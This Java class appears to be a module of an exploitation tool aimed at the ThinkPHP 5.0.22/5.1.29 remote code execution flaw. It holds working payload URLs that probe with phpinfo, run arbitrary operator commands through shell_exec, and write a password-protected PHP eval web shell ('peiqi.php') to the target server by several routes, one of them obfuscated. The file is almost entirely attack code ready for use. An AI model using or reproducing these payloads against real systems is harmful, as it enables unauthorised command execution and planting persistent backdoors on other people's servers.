content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  import com.agony.demo.utils.Module;
  
  import java.util.ArrayList;
  
  
  //v5.0.23及v5.1.31以下版本
  public class tp5022_5129 implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String CheckStr = "PHP Version";
          Module m = new Module();
          String module = m.getModule(url);
          ArrayList<String> payload_urls = new ArrayList<String>() {{
              add(url + "/?s=/" + module + "/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1");
              add(url + "/?s=/" + module + "/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()");
              add(url + "/?s=/" + module + "/\\think\\view\\driver\\php/display&content=<?php%20phpinfo();?>");
          }};
          for (String payload_url : payload_urls) {
              try {
                  HttpRequest req1 = HttpRequest.get(payload_url);
                  if (req1.body().contains(CheckStr)) {
                      return new Result(true, "ThinkPHP 5.0.22/5.1.29 RCE", payload_url);
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          return new Result(false, "ThinkPHP 5.0.22/5.1.29 RCE", "");
      }
  
      public Result exeVUL(String url, String cmd) throws Exception {
          Module m = new Module();
          String module = m.getModule(url);
          try {
              String payload_url = url + "/?s=/" + module + "/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=" + cmd;
              String res = HttpRequest.get(payload_url).body();
              return new Result(true, null, res);
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, null, null);
      }
  
      public Result getShell(String url) throws Exception {
          Module m = new Module();
          String module = m.getModule(url);
  
          ArrayList<String> payload_urls = new ArrayList<String>() {{
              add(url + "/?s=/" + module + "/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=peiqi.php&vars[1][]=<?php%20@eval($_POST[%27peiqi%27])?>");
              add(url + "/?s=/" + module + "/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=peiqi.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'peiqi.php'/**/,'/***/<?php%20@eval($_POST[%27peiqi%27])?>/***/')/**/;/**/?>");
              add(url + "/?s=/" + module + "/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]='<?php%20@eval($_POST[%27peiqi%27])?>'&vars[1][1]=peiqi.php");
              add(url + "/?s=/" + module + "/\\think\\template\\driver\\file/write&cacheFile=peiqi.php&content=<?php%20@eval($_POST[%27peiqi%27])?>");
          }};
          for (String payload_url : payload_urls) {
              try {
                  String res = HttpRequest.get(payload_url).body();
                  int code = HttpRequest.get(url + "/peiqi.php").code();
                  if (code == 200) {
                      return new Result(true, null, url + "/peiqi.php   Pass:peiqi");
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          return new Result(false, null, null);
      }
  }
  